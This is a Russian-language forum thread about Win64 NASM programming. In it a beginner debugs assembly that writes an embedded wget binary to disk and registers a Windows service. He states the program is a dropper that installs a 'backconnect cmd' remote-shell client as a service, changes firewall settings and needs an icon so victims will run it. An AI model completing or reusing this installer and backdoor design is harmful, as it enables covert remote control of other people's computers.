NASM WIN64 HELLO WORLD

Тема в разделе "NASM", создана пользователем Hacker, 9 янв 2021.

  1. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.330
    FlushFileBuffers попробуй вызвать после записи и до закрытия хендла.
     
  2. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    третий раз пишу, читай книжки о NASM :popcorm1: (в ресурсах есть книга Столярова "Программирование на NASM для Unix"). В данном случае никакой разницы с FASM нет. Имя переменной в квадратных скобках ― содержимое переменной, имя переменной без квадратных скобок ― адрес переменной
    Код (ASM):
    1. hFile resq 1
    2. ...
    3. mov qword [rsp+30h],0;hTemplateFile
    4. mov qword [rsp+28h],FILE_ATTRIBUTE_NORMAL ;dwFlagsAndAttributes
    5. mov qword [rsp+20h],CREATE_NEW;dwCreationDisposition
    6. xor r9d, r9d;lpSecurityAttributes
    7. mov r8d,FILE_SHARE_READ | FILE_SHARE_WRITE;dwShareMode
    8. mov edx,GENERIC_READ | GENERIC_WRITE;dwDesiredAccess
    9. mov ecx , Buffer_Path;lpFileName
    10. call CreateFileA
    11. mov [hFile] , rax
    12.  
    13. and qword [rsp+20h],0;lpOverlapped
    14. mov r9d,pBytesWritten;lpNumberOfBytesWritten
    15. mov r8d,[wget_len] ;nNumberOfBytesToWrite
    16. mov edx,wget ;lpBuffer
    17. mov ecx,eax ;hFile
    18. call WriteFile
    19.  
    20. mov rcx,[hFile]
    21. call CloseHandle
     
  3. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Если записываю без скобок по адресу, как мне нужно я понимаю... то

    main.asm:47: error: invalid combination of opcode and operands
    main.asm:78: error: invalid combination of opcode and operands

    не ругайтейсь на меня сильно я только учусь у меня нету стажа
     
  4. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    хотя бы показывай, что у тебя в 47 и 78 строках
     
  5. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Фаил не записывается полностью все равно. Из 4923280 байт записываются только 4202792.
    Почему так?
    --- Сообщение объединено, 10 янв 2021 ---
    Что это и для чего?
    --- Сообщение объединено, 10 янв 2021 ---
    И еще есть синхронная запись и асинхронная, может мне WriteFileEx нужна?
     
  6. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    как думаешь, есть какая-то разница между hFile resq 1 и hFile dq 1 ?
    И я в #42 пример работы с файлом показал, ты его использовал?
     
  7. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Зарезервировать Q слово и определить... есть но небольшая :)
    Так почему фаил то недописывается?
    Щас GetLastError скажу какой у WriteFile
     
    Последнее редактирование: 10 янв 2021
  8. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Ну и полный текст программы хотелось бы посмотреть
     
  9. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    https://yadi.sk/d/-sXzGNAl8okQnw
    Ни какой программы еще особо нету. Должна быть оболочка, клиент и сервер по планам :)
    Wget мне нужен просто в системе
     
  10. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    как я и думал
    количество байт у тебя передается в wget_len, эта переменная в квадратных скобках? Нет? Тогда 4202792 это адрес переменной wget_len. Мораль, скачай Столярова, читай и учи наизусть
     
  11. Rel

    Rel Well-Known Member

    Публикаций:
    2
    Регистрация:
    11 дек 2008
    Сообщения:
    5.330
    Ну либо писать уже на какой-нить сишечке и не выпендриваться.
     
  12. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Да! Спасибо, всё получилось! Я разберусь со времением с адрисами и самими переменными, мне нужна практика
     
  13. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    надеешься на других, не читаешь книги, не упираешься рогом, какая тут может быть практика?
    Rel прав :good3:, пиши на С++/Delphi, добивайся правильности работы программы, а уже потом переводи с С++/Delphi на NASM
     
  14. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Помогите привернуть иконку к файлу :) Я уже забыл как это делается на FASM а на NASM даже и не знаю
     
  15. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    твоя программа создает окно? Тогда найди RegisterClassEx, она загружает WindowsClass, один из ее параметров это иконка. Если иконка из какого-то файла, тогда понадобится LoadCursorFromFile или LoadIconA. Более подробно об установки иконки читай в Глава восьмая. Как Братец Кролик создал «генератор окошек»
     
  16. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Нет main модуль не создает окна, она просто распаковывает 2 exe в системную директорию и всё настраивает что нужно, регистрирует сервис, настраивает фаерволл и тп. Соответственно один ехе это wget как аддон а второй клиент это будет модуль backconnect cmd в виде сервиса.
    Думаю вот как писать сервер, хотелось бы что бы можно было выбрать из коннекта нескольких клиентов по имени хоста и IP домустим. Если отсальные исходинки частично есть в интернете то мультисервера такого я не видел. Мну нужна иконка для exe самого main модуля который распаковывать будет совт.
     
  17. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    Hacker,
    у тебя ехе в Windows может быть окном, диалогом, консолью
     
  18. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Ну у меня наверное окно без оконной процедуры тогда я не знаю :)
    В параметрах линкера я не указываю что это консоль значит он линкует как GUI
    А может и диалог, Вы мне скажите
     
  19. Mikl___

    Mikl___ Супермодератор Команда форума

    Публикаций:
    14
    Регистрация:
    25 июн 2008
    Сообщения:
    3.797
    тогда для чего иконка? Для бандитского форса? ;)
     
  20. Hacker

    Hacker Member

    Публикаций:
    0
    Регистрация:
    9 авг 2018
    Сообщения:
    174
    Адрес:
    Москва
    Ну как человек будет запускать руками без иконки фаил?
    Подскажите какие значения тут стека передавать там 13 аргументов у функции?
    Код (ASM):
    1.  
    2. ServiceInit:
    3.     mov r8 , SC_MANAGER_ALL_ACCESS
    4.     mov rdx , 0
    5.     mov rcx , 0
    6.     call OpenSCManagerA
    7.  
    8.     mov [SCH] , rax
    9.  
    10.     push 0
    11.     push 0
    12.     push 0
    13.     push 0
    14.     push 0
    15.     push Buffer
    16.     mov qword [rsp+30h] , 00000001h
    17.     mov qword [rsp+28h] , 00000002h
    18.     mov qword [rsp+20h] , 00000110h
    19.     mov r9 , SERVICE_ALL_ACCESS
    20.     mov r8 , SERVICE_DISP
    21.     mov rdx , SERVICE_NAME
    22.     mov rcx , [SCH]
    23.     call CreateServiceA
    24.  
    25.     mov [SVC] , rax
    26.  
    27.     mov rcx , [SCH]
    28.     call CloseServiceHandle
    29.  
    30.     mov rcx , [SVC]
    31.     call CloseServiceHandle
    32.